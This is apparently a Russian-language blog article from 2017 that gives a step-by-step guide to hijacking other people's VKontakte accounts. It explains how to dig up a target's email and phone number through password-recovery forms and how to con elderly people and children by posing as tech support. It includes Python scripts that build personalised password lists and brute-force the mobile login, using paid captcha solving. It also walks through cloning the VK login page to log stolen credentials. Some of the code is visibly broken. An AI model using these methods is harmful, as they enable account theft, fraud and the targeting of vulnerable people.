admin 04 августа 2017

Пошаговое руководство по взлому страницы ВКонтакте

В статье приводится несколько возможных способов взлома ВКонтакте, ориентированных на людей, недалёких в компьютерной безопасности.

Иными словами, при взломе будут использоваться не машинные, а человеческие уязвимости. Естественно, приведённые методы не универсальны (и слава богу!), и у кого-то может хватить мозгов на то, чтобы не поддаваться на ваши провокации. Но таких не так уж много, поверьте. Итак, начнём. Прежде всего, перед началом вам понадобятся страница, которую вы собираетесь "хакнуть", свободное время и безопасный доступ к ВКонтакте. Сам процесс взлома разделим на несколько шагов.

Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека хакера»

1. Сбор информации

ВКонтакте

Прежде всего, нужно собрать как можно информации со страницы потенциальной жертвы, а именно:

    1. URL страницы.
      Сохраняем себе ID или, если там имеется буквенная замена, то ее. Аккаунты и другую нужную нам информацию, всякого рода твиттеры и тому подобное.
    2. Неплохо было бы заиметь почту цели.
      Если человек не только попал в сеть, вы сможете найти почту путем простого гугления. К примеру, особо удобно отыскивать почту на mail.ru. Также можно попробовать поискать Ф.И.О. цели и дату рождения. Или же другого рода такие комбинации. Если жертва имеет Мой Мир на mail, то почта будет в коде страницы или же в URL.

      В том случае, когда имеется почта без соц.сети от mail'a, почту можно выяснить, создав себе подставную почту на этом сервисе и поискав в мессенджере от мэйла. Как ещё один из способов, можно попробовать найти что-нибудь дельное с помощью аккаунтов цели в других социальных сетях. Например, попытаться пробить никнеймы из всех найденных аккаунтов по всем известным почтовым сервисам. Как вариант, можно попробовать использовать импорт почтовых контактов и предложение добавить этих людей в друзья. Регистрируем очередную фальшивую почту и получаем дополнительные аккаунты. Как альтернатива, можно попытать счастье, используя форму восстановления в Twitter'е, таким образом узнав часть почты. В FaceBook'е можно напрямую поискать аккаунт, введя почту в поиск.

    3. Телефон.
      Так, URL и почту узнали, осталось достать номер телефона. Не считая тех случаев, когда номер висит в открытом доступе на странице в соц. сетях или в каких-то проектах (Avito/HeadHunter/Покупка или продажа недвижимости/Свой сайт/Другое), остаётся только один метод. Имеется почта пользователя на mail'е. Вводим ее в форму восстановления в ВКонтакте, и приходит часть номера. А теперь то же самое, но на mail. И если номер там привязан, то вы увидите уже другую, вторую часть номера. Если почта не привязана, то тогда там есть секретный вопрос. Перебираем его и заставляем юзера привязать мобилку на сервис. Отлично, осталась всего пара цифр от почты. Чтобы их узнать, достаточно перебрать форму восстановления ВКонтакте уже с помощью номера. Всего-то 99 раз. Можно и автоматизировать. Также в некоторых случаях люди любят публиковать свой номер на странице, но закрывать часть номера звездочками, черточками и прочей ерундой, что также может упростить процесс взлома. Если повезет, то вам будут видны именно те цифры, которые недоступны в форме восстановления вк.

Статьи по теме:

2. Взлом ВКонтакте страницы

На данном этапе мы будем пробовать получить доступ к аккаунту цели. Рассмотрим самые простые приёмы:

1) «Социнженер»

Здесь сразу нужно оговориться, что этот способ годиться только для тех, кто мало что знает об интернете, но решил по каким-либо причинам зарегистрироваться в соц.сети. Как правило, это либо старики, либо дети.

Если вы хотите просто попрактиковаться, то новички ВКонтакте могут быть найдены здесь.
В данном случае, применяется один из законов психологии: человек, который не разбирается в чем-то, подсознательно доверяет тому, кто более опытен в конкретной области, и принимает его слова на веру.
Тут можно создать аккаунт представителя техподдержки, создать "официальную" почту администрации и прочее. И создать какую-нибудь легенду. Что новые пользователи обязаны проходить проверку после регистрации и дать, например, ссылку на некий тест, по итогу или для входа которого требуется логин-пасс от вк. Самое важное, чтобы вы действовали осторожно. Следует убедить пользователя, что он в безопасности. Этот приём хорошо сочетается с фейком. Кроме того, продвинутые социнженеры могут, узнав номер юзера, позвонить (анонимно, используя sip) и развести напрямую. Кроме того, вся указанная вами информация (номер телефона/упоминание фактов с указанием дат/другое) также помогает установить контакт с жертвой и косвенно говорит о том, что вы из техподдержки.

2) «Умный» перебор

Метод, рассчитанный на среднестатистических пользователей. Для него нам надо будет специальный словарь, заточенный под конкретного человека. Давайте разберёмся со структурой нашего словаря:

  • Личные данные. Сюда входят дата рождения (17.11.1992 = 1711, 1992, 17111992), возраст (1992, 2017 = 2017, 1992,  24), имя (Стас = stas, ctac) и фамилия (Иванов = ivanov).
  • Аккаунты из других соц. сетей и почтовые сервисы (twitter.com/stasik_ku , facebook.com/stasss1992, stasss92@mail.ru = stasik_iv, stasss1992, stasss92).
  • Увлечения (футбол, плавание, молодежка = football, swimming, molodejka, molodegka).

Также есть страница вк, на которой написано, какие пароли следует указывать, какие символы возможны и самые частые пароли.
Получился лист из 14 строк. Но из него еще нужно создать комбинации паролей, которые могла бы создать наша жертва.
Представляю вам мой небольшой скрипт на python, который этим и занимается.

#! coding:utf-8
import sys,os
razdel = ['_',':',';']
def uniq(seq):
    seen = set()
    seen_add = seen.add
    return [x for x in seq if not (x in seen or seen_add(x))]

def brute_words(words):
    new_words = []

    for i in words:
        new_words.append(i)
        new_words.append(i[0].upper() + i[1:])
        new_words.append(i[0].upper() + i[1:-1] + i[-1].upper())
        new_words.append(i.upper())

    for j in spisok:
        new_words.append(i + j)
    for m in razdel:
        new_words.append(j + m + i)
        new_words.append(j + i)
        new_words.append(i * 2 + j)
        new_words.append(j * 2 + i)
        new_words.append(i[0].upper() + i[1:] + j)
        new_words.append(i[0].upper() + i[1:-1] + i[-1].upper() + j)

   return uniq(new_words)

def generate(words_file):
    o = open(words_file, 'r')

words = o.read().splitlines()
for i in brute_words(words):
    print(i)

def main():
    try:
        argv1 = sys.argv[1]
        generate(argv1)
    except IndexError:
        print("Нужно указать файл")
    except IOError:
        print("Нет такого файла")

if __name__ == "__main__":
    main()

 

Из 14 получилось 1272 варианта. Приведу часть.

 

Molodegkactac

MolodegkActac

molodejka_molodegka

Stasss92molodejka

stasss92molodegka

molodegka_stasss92

molodegka:stasss92

molodegka;stasss92

stasss1992swimming

swimming_stasss1992

Kurayginctac

KuraygiNctac

kurayginkuraygin

kuraygin_kuraygin

molodegka17111992

1711199217111992molodegka

molodegkamolodegka17111992

24

1711_24

 

Отлично, теперь автоматизируем перебор паролей через мобильную версию ВКонтакте небольшим скриптом.

#! coding: utf8
import grab, re, urllib2
from antigate import AntiGate
from grab import GrabTimeoutError
from time import sleep

cap_key = '123 ' #Ваш ключ с Antigate
def anti(key, file): #Получение решения Captcha с Antigate
    try:
        try:
            data = AntiGate(key, file)
            return data
        except KeyboardInterrupt:
            print("Завершение")
    except:
        anti(key, file)

def save(url, file): #Скачивание файла по URL
    site = urllib2.urlopen(url)
    f = open(file, 'wb')
    f.write(site.read())

def cap_solve(img):
    save(img, 'captcha.jpg')
    key = anti(cap_key, 'captcha.jpg')
    return key

def brute(login, passwords, save):
    out = open(save, 'w')
    psswrds = open(passwords,'r')
    
    try:
        int(login)
        prefix = True
    except:
        prefix = False
    
    g = grab.Grab()
    g.go('http://m.vk.com')

    for line in psswrds:
        psswrd = line.rstrip('\r\n')
        g.doc.set_input('email', login)
        g.doc.set_input('pass', psswrd)
        g.doc.submit()

        if g.doc.text_search(u'captcha'):
            all_captchas = re.findall('"(/captcha.php[^"]*)"', g.response.body)[0]
            captcha = '' + all_captchas
            key = cap_solve(captcha)
            g.doc.set_input('email', login)
            g.doc.set_input('pass', psswrd)
            g.doc.set_input('captcha_key', str(key))
            g.doc.submit()
            print("cap")
            if 'Подтвердить' in g.response.body:
                if prefix:
                    prefix1 = g.doc.rex_search('\+[0-9]*').group(0)
                    prefix2 = g.doc.rex_search(' [0-9]*').group(0)
                    pre1 = re.findall('[0-9]{1,}', prefix1)[0]
                    pre2 = re.findall('[0-9]{1,}', prefix2)[0]
    
                    login = login.replace(pre1, '')
                    login = login.replace(pre2, '')
    
                    g.set_input('code', login)
                    g.submit()
                    print(login + ':' + psswrd + '--success')
                    out.write(login + ':' + psswrd + '\n')
                else:
                    out.write(login + ':' + psswrd + '\n')
            else:
                if g.doc.rex_search('[^>]+').group(0) == 'Login | VK':
                    print(login + ':' + psswrd + '--fail')
                else:
                    print(login + ':' + psswrd + '--success')
                    out.write(login + ':' + psswrd + '\n')
    out.close()
    psswrds.close()

 

Естественно, пример не оптимизирован. Можно ещё добавить прокси, многопоточность и прочие плюшки, но этим уже сами займётесь, если будет интересно. Зато скрипт способен сам вводить недостающие цифры в защиту ВКонтакте при заходе с другой страны, а также, используя Antigate, запросто вводит Captch'и, появляющиеся после 5-6 попытки ввода с одного IP.

3) «Фейк — наше все»

Способ, ориентированный на невнимательных юзеров. По большей части их либо завлекают халявой, либо отвлекают внимание с помощью многобукв. Я покажу вам, как создать простой фейк на основе обычного сайта вк (страницы логина). Можете брать как мобильную, так и основную версии, зависит от того, с какого устройства будет заходить ваша цель. Что ж, приступим.
Первым делом качаем страницу логина вк через ваш браузер. Затем смените кодировку html файла на utf-8. Сначала определяем кодировку

file --mime-encoding file.html

 

Затем меняем с исходной на новую

iconv -f iso-8859-1 -t utf-8 file.html > vk2.html

 

Далее вам нужно создать управление страницей на серверном языке.

@route('/')
def index():
    return template('vk2.html')
    
@route('/Welcome! | VK_files/')
def server_static(filepath):
    return static_file(filepath, root='./Welcome! | VK_files/')

 

Как выяснилось, на кое-каких файлах порой выдаётся ошибка 404. У нас, к сожалению, не имеется нужных картинок с сайта, так что положим их в отдельную папку images.

mkdir images
cd images
wget
wget ""
wget ""
mkdir icons
cd icons
wget ""
wget ""

 

Пропишем новый роутинг в скрипте.

@route('/images/')
def server_static(filepath):
    return static_file(filepath, root='./images/')

 

Отлично. Конечно, по-хорошему надо было бы ещё также скачать основные страницы, на которые можно перейти с основной не залогинившись, чтобы было правдоподобней (а потом поменять ссылки в основной), но для начала и этого хватит.
Добавим роутинг для пост запроса. Найдем форму логина на странице. Изменим в ее коде action на пустое и удалим проверку onsubmit. И добавим обработку post-запроса.

@post('/')
def index():
    login = request.forms.get('email')
    password = request.forms.get('pass')
    print("|Catch|-------------- " + login + ':' + password)
    with open("log.txt", "a") as myfile:
        myfile.write(login + ':' + password + "\n")
    
    return redirect('http://www.vk.com')

 

В заключении, переносим тег button, что под формой в коде в пределы формы и добавляем свойство type="submit", и наслаждаемся тем, что всё работает. Для тех, у кого что-то не получилось, представляем архив с готовым решением.

Если вы желаете оптимизировать этот процесс и не хотите прописывать всё это ручками, то можете воспользоваться инструментом SET. (Social Engineer Toolkit).

Другие материалы по теме:

10 лучших ресурсов для изучения хакинга с помощью Kali Linux
5 лучших Android приложений для взлома Wi-Fi сетей
10 лучших инструментов для хакинга в 2017 году

Больше полезной информации вы найдете на нашем телеграм-канале «Библиотека хакера».

МЕРОПРИЯТИЯ

Комментарии

ВАКАНСИИ

Добавить вакансию
Аналитик данных
Екатеринбург, по итогам собеседования
DevOps
Санкт-Петербург, от 150000 RUB до 400000 RUB
Golang разработчик (middle)
от 230000 RUB до 300000 RUB

ЛУЧШИЕ СТАТЬИ ПО ТЕМЕ